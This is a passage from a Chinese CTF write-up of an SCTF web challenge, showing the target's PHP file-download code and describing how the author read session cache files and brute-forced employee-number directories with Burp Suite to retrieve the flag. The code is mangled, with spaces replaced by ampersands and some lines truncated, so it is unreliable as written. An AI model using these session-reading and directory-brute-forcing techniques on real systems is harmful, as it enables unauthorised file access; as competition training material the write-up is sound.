$file&=&str_replace(':',&'',&$file);
download($user_cwd.$file);
?&应该是用于文件下载的。接着读syc_include/func.php源码,&&?php
@error_reporting(7);
define('IS_WIN',&DIRECTORY_SEPARATOR&==&'\\');
$user_cwd&=&$_SERVER['DOCUMENT_ROOT'].'/file/files/'.$_SESSION['number'];
foreach&(array('user_cwd')&as&$k)&{
&&&&&&&&&if&(IS_WIN)&{
&&&&&&&&&&&&&&&&&&&$$k&=&str_replace('\\',&'/',&$$k);
&&&&&&&&&}
&&&&&&&&&if&(substr($$k,&-1)&!=&'/')&{
&&&&&&&&&&&&&&&&&&&$$k&=&$$k.'/';
&&&&&&&&&}
if(!function_exists('scandir'))&{
&&&&&&&&&function&scandir($cwd)&{
&&&&&&&&&&&&&&&&&&&$files&=&array();
&&&&&&&&&&&&&&&&&&&$dh&=&opendir($cwd);
&&&&&&&&&&&&&&&&&&&while&($file&=&readdir($dh))&{
&&&&&&&&&&&&&&&&&&&&&&&&&&&&$files[]&=&$
&&&&&&&&&&&&&&&&&&&}
&&&&&&&&&&&&&&&&&&&return&$files&?&$files&:&0;
&&&&&&&&&}
function&download($filename)&{
&&&&&&&&&if&(is_file($filename)&&&&is_readable($filename))&{
&&&&&&&&&&&&&&&&&&&@ob_end_clean();
&&&&&&&&&&&&&&&&&&&$fileinfo&=&pathinfo($filename);
&&&&&&&&&&&&&&&&&&&if&(function_exists('mime_content_type'))&{
&&&&&&&&&&&&&&&&&&&&&&&&&&&&$type&=&@mime_content_type($filename);
&&&&&&&&&&&&&&&&&&&&&&&&&&&&header(&Content-Type:&&&.&$type);
&&&&&&&&&&&&&&&&&&&}&else&{
&&&&&&&&&&&&&&&&&&&&&&&&&&&&header('Content-type:&application/x-'&.&$fileinfo['extension']);
&&&&&&&&&&&&&&&&&&&}
&&&&&&&&&&&&&&&&&&&header('Content-Disposition:&&filename='&.&$fileinfo['basename']);
&&&&&&&&&&&&&&&&&&&header('Content-Length:&'&.&sprintf(&%u&,&@filesize($filename)));
&&&&&&&&&&&&&&&&&&&@readfile($filename);
&&&&&&&&&&&&&&&&&&&exit&;
&&&&&&&&&}&else&{
&&&&&&&&&&&&&&&&&&&$errmsg&=&'Can&not&find&file';
&&&&&&&&&&&&&&&&&&&echo&&&script&alert('$errmsg');window.location='index.php';&/script&&;
&&&&&&&&&}
function&getFileList($path){
&&&&&&&&&global&$user_
&&&&&&&&&$j=0;
&&&&&&&&&$files&=&@scandir($path);
&&&&&&&&&if&($files)&{
&&&&&&&&&&&&&&&&&&&$files&=&array_diff($files,&array('..','.'));
&&&&&&&&&&&&&&&&&&&foreach&($files&as&$file)&{
&&&&&&&&&&&&&&&&&&&&&&&&&&&&$f=str_replace('//','/',$path.'/'.$file);
&&&&&&&&&&&&&&&&&&&&&&&&&&&&$filedata[$j]['filename']=str_replace($user_cwd,'',$f);
&&&&&&&&&&&&&&&&&&&&&&&&&&&&$filedata[$j]['mtime']=@date('Y-m-d&H:i:s',filemtime($f));
&&&&&&&&&&&&&&&&&&&&&&&&&&&&$j++;
&&&&&&&&&&&&&&&&&&&}
&&&&&&&&&&&&&&&&&&&return&$
&&&&&&&&&}&else&{
&&&&&&&&&&&&&&&&&&&return&array();
&&&&&&&&&}
?&发现只能下载/file/files/$_SESSION['number']下面的文件(硬编码了),而且file目录不存在,所以这个down.php根本没用。(不知道是主办方刻意为之还是疏忽)但是存在着files目录,而$_SESSION['number']可以通过读tmp下面的缓存文件得知。说明$_SESSION['number']存着就是工号SYCXXX于是继续用burpsuite暴力跑一遍files/sycxxx/torrent 所有目录下面的torrent文件。得到flag:SCTF{FuNny_Pene7ration_Test}&PS:本题是赛后做出来的,答题时并没有做出来。(我能说最后槽点太高了么?你们不知道机智赛棍会啥也不管,不审计,不分析,直接暴力跑SYCXXX么!!!)&&*******分割线*********以下内容转载自PaxMac的博客,链接http://ctf.paxmac.org/sctf-writeup-by-pax-mac-team/*****************&lCode400&lMisc100
本文由 360安全播报 原创发布,如需转载请注明来源及本文地址。本文地址:/learning/detail/129.html
Copyright & 360网络攻防实验室 All Rights Reserved 京ICP证080047号[京ICP备号-6]}

我要回帖

更多关于 孙行者下联 的文章

更多推荐

版权声明:文章内容来源于网络,版权归原作者所有,如有侵权请点击这里与我们联系,我们将及时删除。

点击添加站长微信